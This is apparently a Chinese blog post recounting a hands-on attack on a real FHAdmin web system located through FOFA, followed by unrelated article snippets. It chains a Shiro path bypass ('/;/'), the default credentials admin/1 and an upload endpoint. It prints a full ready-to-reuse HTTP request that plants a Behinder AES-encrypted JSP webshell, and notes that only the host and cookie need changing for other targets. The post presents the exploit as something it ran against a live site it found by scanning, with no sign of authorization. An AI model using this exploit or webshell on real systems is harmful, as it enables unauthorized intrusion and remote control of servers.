又是一个愉快的摸鱼的一天,闲来无事去逛先知社区突然看到了一篇名为shrio权限实战绕过的文章(https://xz.aliyun.com/t/8311),这时不禁突然 回想起来之前看到过的一个微信公众号文章那夜我做了个梦,差点我就相信了

于是便开启了新一轮的探索,我们可以去fofa去查找 intitle:FHAdmin,当然我之前是搜索过的所以在我打开搜索框输入 fh的一刹那便出现了我要的网站。

下面开始正式实战

这是我们的目标网站:

 

 

结合先知社区中看到的登录框图片:

真的是出人意料的相似啊,有木有.

当然在做这个实验的时候我们还是要先验证是否存在shiro漏洞的。

当然文章中说是额米有爆破出来密码的但是,我之前看过的微信文章之后是知道存在 管理员账号密码的 :admin/1

再记住密码的情况下

好家伙直接cookie明文传输密码。

OK,接下来就按照文章中的构造吧

发现上传成功,但是居然找不到文件。

于是接着看,文章中再上传点需要请求参数?uploadPath=/plugins/uploadify/

/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/

当然 在我在实验中还遇到了其他的问题,那就是光照猫画虎,没有注意到需要构造完整的文件上传包了,有点憨批了。

完整的如下截图:

POST /;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1

Host: x.x.x.x

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------1873137538776189788600609431

Content-Length: 772

Connection: close

Cookie: JSESSIONID=587CDE2437A0AE2C40FB25DE5D71339C

Upgrade-Insecure-Requests: 1

DNT: 1

X-Forwarded-For: 127.0.0.1

-----------------------------1873137538776189788600609431

Content-Disposition: form-data; name="imgFile"; filename="shell.jsp"

Content-Type: application/octet-stream

AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

-----------------------------1873137538776189788600609431

【其他类似的情况下只需要修改 host以及cookie就可以了】,这里我用的冰蝎,走起直接上传webshell。

FHAdmin实战获取shell的更多相关文章

  1. linux c程序中获取shell脚本输出的实现方法

    linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...

  2. Python学习总结10:获取shell输出结果

    Python中获取shell命令的输出结果的常见方法如下几种: 1. import subprocess output = subprocess.Popen(['ls','-l'],stdout=su ...

  3. linux 获取shell内置命令帮助信息 help xx

    shell,命令解释器 shell内置命令有cd/umask/pwd等 help shell内置命令适用于所有用户获取shell内置命令的帮助信息help umaskhelp if

  4. 怎样获取shell函数的返回值及shell命令的返回值?

    1.获取shell函数调用的返回值: #!/bin/sh info() { cat jlb.sh } res=`info` echo "state: "$? echo " ...

  5. python获取shell输出(转)

    From:http://www.cnblogs.com/snow-backup/p/5035792.html   python中获取shell命令输出的方法: 1.  import subproces ...

  6. 登陆获取shell时的配置文件加载过程

    最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...

  7. c获取shell中的参数

    问题背景 在Linux中我们会使用到shell,来完成输入参数的获取,就如同下面的形式,这种形式在进行多语言编程和调用有着非常重要的作用 一.传递的过程 1.1 原理模型如下: 1.1.1 可执行sh ...

  8. shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)

    shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查) Shell脚本与MySQL数据库交互(增删改查) # 环境准备:安装mariadb 数据库 [ro ...

  9. jenkins pipeline中获取shell命令的标准输出或者状态

    //获取标准输出//第一种 result = sh returnStdout: true ,script: "<shell command>" result = res ...

  10. 获取Shell后的操作

    对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同. Windows 当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作 ...

随机推荐

  1. Linux下获取线程ID tid的方法

    使用Linux Redhat7编写代码的时候,需要使用 gettid() 函数获取线程ID.使用 man gettid 命令查看了一下,gettid()函数的头文件是 #include<sys/ ...

  2. PHP表单验证内容是否为空的实现代码

      <!doctype html> <html> <head> <meta http-equiv="conent-type" conten ...

  3. WPF使用MaterialDesign开源控件库

    在WPF控件效果这一块,很显然比winfrom要好很多,但想要做出真正好看的控件,我个人觉得还是需要用一些已有的东西比较好,比如MaterialDesign,控件种类多,自带很多图标,上手比较容易,还 ...

  4. 高精度计算_vector

    #include<bits/stdc++.h> using namespace std; // return a+b; vector<int> add(vector<in ...

  5. Little Girl and Maximum Sum CodeForces - 276C - 差分

    给定一个数列 \(a= { a_1,a_2,...,a_n }\) 以及 \(q\) 次查询. 其中第 \(i\) 次查询如同:\(l_i, r_i\),意指求 \(\sum_{j=l_i}^{r_i ...

  6. springboot java redis 监听超时事件

    package ideal4j.pfa.config.redis; import cn.hutool.core.date.DateTime; import com.alibaba.fastjson.J ...

  7. labwindows excel 不同电脑上无法保存

    存到c盘以外的盘,c盘因为权限问题可能无法写入

  8. 如何保证RabbitMQ不会被重复消费?

    为什么会有重复消费? 做一个标志! 在将生产者写消息的时候,对数据做一个唯一标识.消费者在消费消息时,根据这个唯一标识做判断,如果这个唯一标识被消费过了,那么就 不消费了,如果判断结果是没有被消费过, ...

  9. Linux 第二节(基本命令)

    www.linuxcool.com 一.ifconfig 1.Ip 地址 2.MAC地址 3.收到的数据包(RX) 4.发送的数据包(Tx) 二.uname uname -a    //查看系统内核及 ...

  10. 用java读取Excel并依据模板图生成对应的图片

    package test; import java.awt.*; import java.awt.image.BufferedImage; import java.io.*; import java. ...